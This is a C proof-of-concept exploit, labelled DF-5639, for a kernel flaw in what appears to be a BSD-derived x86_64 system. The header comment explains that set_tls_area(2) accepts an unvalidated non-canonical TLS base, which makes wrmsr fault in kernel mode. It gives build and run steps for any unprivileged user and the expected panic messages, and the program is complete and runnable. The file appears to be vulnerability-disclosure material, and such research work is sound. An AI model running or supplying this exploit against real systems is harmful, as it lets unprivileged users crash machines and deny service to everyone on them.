DF-5639 / tls_noncanon.c
/* * DF-5639 PoC: unprivileged kernel panic via set_tls_area(2) with a * non-canonical TLS base. * * sys_set_tls_area (sys/platform/pc64/x86_64/tls.c:100-108) performs NO * validation of info.base and hands it to set_user_TLS(), which executes * wrmsr(MSR_FSBASE, base) at tls.c:167 (or MSR_KGSBASE at tls.c:171). * Intel SDM Vol.3 17.17: WRMSR to FS.base/GS.base with a non-canonical * value raises #GP(0) -- in KERNEL mode here -> Fatal trap 9 -> panic. * * Build: cc -O1 -o tls_noncanon tls_noncanon.c * Run: as any unprivileged user. Expect: guest panics * "Fatal trap 9: general protection fault while in kernel mode" * "Stopped at set_user_TLS+0x68: wrmsr" * * NOTE: after a *successful* install nothing in libc may run (errno is * %fs-relative), but on real Intel CPUs the panic happens inside the * syscall itself, so we never return anyway. */ #include <sys/syscall.h> #include <sys/tls.h> #include <stdint.h> #include <unistd.h> #ifndef SYS_set_tls_area #define SYS_set_tls_area 472 #endif int main(void) { struct tls_info info; int rc; const char msg[] = "tls_noncanon: invoking set_tls_area(which=0, " "base=0x0000800000000000, size=-1, infosize=16)\n"; write(1, msg, sizeof(msg) - 1); info.base = (void *)0x0000800000000000UL; /* non-canonical */ info.size = -1; rc = syscall(SYS_set_tls_area, 0, &info, sizeof(info)); /* not reached on real Intel CPUs (panic in-kernel); QEMU-TCG may * return 0 here and fault only on the next %fs access */ write(1, "returned - kernel did not trap wrmsr\n", 37); (void)rc; return (0); } |